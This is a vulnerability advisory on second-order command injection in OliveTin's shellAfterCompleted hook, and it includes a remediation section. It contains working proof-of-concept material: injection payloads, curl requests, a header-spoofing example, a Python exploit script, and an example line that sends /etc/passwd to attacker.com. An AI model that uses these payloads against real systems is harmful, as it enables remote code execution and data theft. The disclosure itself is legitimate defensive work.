Description
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (ot_username), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.
This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.
Affected Versions
- All versions containing
shellAfterCompletedfunctionality (current codebase through latest)
Details
Vulnerable Code Path
In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:
func stepExecAfter(req *ExecutionRequest) bool {
if req.Binding.Action.ShellAfterCompleted == "" {
return true
}
// These variables are injected WITHOUT any type checking or sanitization
args := map[string]string{
"output": req.logEntry.Output, // Arbitrary command stdout/stderr
"exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode),
"ot_executionTrackingId": req.TrackingID,
"ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers
}
// Template rendered with unsanitized args
finalParsedCommand, err := tpl.ParseTemplateWithActionContext(
req.Binding.Action.ShellAfterCompleted,
req.Binding.Entity,
args,
)
// Directly passed to sh -c — NO safety check
cmd := wrapCommandInShell(ctx, finalParsedCommand)
// ...
}The wrapCommandInShell function (in executor_unix.go) executes:
func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {
return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)
}Why This Bypasses Existing Protections
The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, raw_string_multiline, and very_dangerous_raw_string from shell mode.
stepExecAfter calls none of these checks. The output variable is:
- Not a declared argument with a type — it's internally created
- Not validated against any regex or type system
- Not passed through
checkShellArgumentSafety - Directly interpolated into a shell command template
A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:
executor.go:693: if err := checkShellArgumentSafety(req); err != nil {This is inside handleShellBranch (the primary action execution), not in stepExecAfter.
Injection Vectors
Vector 1: Output Reflection
If a primary action echoes user-controlled input:
actions:
- title: Lookup User
shell: "echo 'User: {{ .Arguments.username }}'"
shellAfterCompleted: "audit-log '{{ .Arguments.output }}'"
arguments:
- name: username
type: ascii_identifierWhile ascii_identifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.
Vector 2: Exec Mode Output Injection
Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:
actions:
- title: Read External Data
exec:
- cat
- /shared/data/{{ .Arguments.filename }}
shellAfterCompleted: "process-result '{{ .Arguments.output }}'"
arguments:
- name: filename
type: ascii_identifierIf /shared/data/report contains text like:
'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #The shellAfterCompleted becomes:
process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'This executes arbitrary commands as the OliveTin process user.
Vector 3: Username Injection via Trusted Headers
When trusted header authentication is used (see Finding 04), the ot_username variable comes directly from an HTTP header with no sanitization:
actions:
- title: Any Action
shell: "echo ok"
shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'"An attacker sets:
X-Remote-User: '; id > /tmp/pwned #The shellAfterCompleted becomes:
logger 'Action completed by '; id > /tmp/pwned #'This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.
PoC
Prerequisites
- OliveTin instance with an action configured with
shellAfterCompleted - The
shellAfterCompletedtemplate references{{ .Arguments.output }}or{{ .Arguments.ot_username }}
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Process File
id: process-file
exec:
- cat
- "/tmp/olivetin-data/{{ .Arguments.filename }}"
shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log"
arguments:
- name: filename
type: ascii_identifierStep 1: Create a malicious data file
# On the server, create a file with shell injection payload
mkdir -p /tmp/olivetin-data
echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/reportStep 2: Execute the action normally
curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}'Step 3: Verify injection
ls -la /tmp/PWNED
# If the file exists, the injection was successfulExplanation: The cat command (exec mode) safely reads the file. The output normal_data'; touch /tmp/PWNED; echo ' is captured. Then shellAfterCompleted renders:
echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.logThis executes touch /tmp/PWNED as a second command.
Step 4: Username injection (with trusted headers)
# Add to config
authHttpHeaderUsername: "X-Remote-User"curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \
-H 'Content-Type: application/json' \
-H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \
-d '{"bindingId":"some-action","arguments":[]}'If shellAfterCompleted uses {{ .Arguments.ot_username }}, the injection executes.
Python PoC
#!/usr/bin/env python3
"""PoC: Second-Order Command Injection via shellAfterCompleted output variable.
Distinct from CVE-2026-27626 (password type injection in primary execution).
This exploits the post-execution step which has zero argument safety checks.
"""
import requests
import time
import os
TARGET = "http://127.0.0.1:1337"
BINDING_ID = "process-file"
def setup_payload():
"""Create a data file containing shell injection payload."""
os.makedirs("/tmp/olivetin-data", exist_ok=True)
with open("/tmp/olivetin-data/exploit", "w") as f:
f.write("data'; id > /tmp/rce-proof; echo '")
print("[+] Created malicious data file")
def trigger_action():
"""Execute the action that reads the malicious file."""
resp = requests.post(
f"{TARGET}/api/StartActionAndWait",
json={
"bindingId": BINDING_ID,
"arguments": [{"name": "filename", "value": "exploit"}]
},
headers={"Content-Type": "application/json"}
)
print(f"[+] Action response: {resp.status_code}")
return resp.json()
def verify_rce():
"""Check if the injected command executed."""
time.sleep(2)
if os.path.exists("/tmp/rce-proof"):
with open("/tmp/rce-proof") as f:
print(f"[!] RCE CONFIRMED: {f.read().strip()}")
return True
else:
print("[-] /tmp/rce-proof not found")
return False
if __name__ == "__main__":
setup_payload()
result = trigger_action()
print(f"[*] Action output: {result}")
verify_rce()Impact
- Remote Code Execution: Arbitrary commands execute as the OliveTin process user
- Chained with Finding 04: Trusted header spoofing enables injection via
ot_username - Bypass of CVE-2026-27626 fix: The fix for that CVE only addressed
checkShellArgumentSafetyin the primary execution step; the post-execution step was not hardened - Exec mode bypass: Actions using the safe
execmode (array form) for the primary command can still be exploited through their output flowing to the shell-basedshellAfterCompleted
Remediation
- Apply
checkShellArgumentSafety(or equivalent) tostepExecAftervariables - Shell-escape the
output,ot_username, andexitCodevalues before template substitution (e.g., usingshellescape.Quote()) - Consider adding an exec-mode variant for
shellAfterCompletedto avoid shell interpretation entirely - Sanitize
ot_usernameto reject shell metacharacters regardless of the auth provider
Affected versions
fixed in 0.0.0-20260728155752-e5d29b68da66